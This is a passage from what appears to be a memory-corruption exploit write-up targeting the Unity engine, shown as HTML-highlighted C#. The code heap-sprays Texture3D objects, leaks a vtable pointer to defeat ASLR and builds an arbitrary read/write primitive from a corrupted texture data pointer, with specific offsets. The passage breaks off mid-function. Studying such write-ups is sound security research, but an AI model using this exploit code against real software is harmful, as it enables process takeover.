&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Spray Texture3Ds to eventually turn one of them into an arbitrary read&#x2F;write primitive&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; They&amp;#39;re more convenient than Texture2D because they don&amp;#39;t have an extra layer of indirection for the data pointer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; spray2&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;Length&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    var&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; temp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Texture3D&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; TextureFormat&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;RGBA32&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    spray2&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; temp&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Once that&#x27;s done, I can search for and modify one of the sprayed dummy textures in OOB memory in order to have both a reference to the object in C# and its raw memory. The object search also doubles as a way to find &lt;code&gt;UnityPlayer.dll&lt;&#x2F;code&gt;&#x27;s base address in order to defeat ASLR.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private const uint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; TEX3D_VTBL_RVA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x197D288&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private ulong&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; unityPlayerBase&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; arbTexOffset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; = -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;      &#x2F;&#x2F; arbTex&amp;#39;s offset relative to the OOB texture&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Texture3D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; arbTex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; null&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Try to find one of the sprayed Texture3Ds&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; All 64-bit modules with ASLR have the top 24 bits of their base set to 0x00007F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; In order to check if the leaked pointer is Texture3D&amp;#39;s vtable,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; the expected relative address gets subtracted and the result has to be page-aligned&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    ulong&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; leak&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;read32Rel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 32&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; read32Rel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;leak&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFFFFFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x7F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;leak&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; TEX3D_VTBL_RVA&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFFF&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        Debug&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;Log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;$&amp;quot;found texture3d at oob rel 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;X&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        unityPlayerBase&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; leak&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; TEX3D_VTBL_RVA&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        arbTexOffset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        break&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;arbTexOffset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; == -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    Debug&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;LogError&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;failed to find texture3d to corrupt&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Modify its width and try to find the object in the spray2 array&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; In testing, the initial heap spray worked so well that it always used spray2[0] as the target&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Still, better safe than sorry!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;write32Rel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;arbTexOffset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x118&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; spray2&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;Length&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;spray2&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;].&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;width&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        Debug&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;Log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;$&amp;quot;found corrupted texture3d! spray2[0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;X&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;] with width &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;spray2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;].&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;width&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        arbTex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; spray2&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        break&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;arbTex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; null&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    Debug&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;LogError&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;failed to find corrupted texture3d&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Finally, I can construct an arbitrary read&#x2F;write primitive by overwriting the data pointer. Since the target texture is now RGBA32 2x1x1, I can read&#x2F;write 64 bits at a time, which is the perfect amount to be useful for exploit setup.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;private ulong&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; read64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;ulong&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; addr&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; Overwrite the texture data pointer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    write32Rel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;arbTexOffset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x128&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt;)(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFFFFFFFF&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    write32Rel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;arbTexOffset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x12C&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;uint&lt;&#x2F;span&gt;&lt;span&gt;)(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 32&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
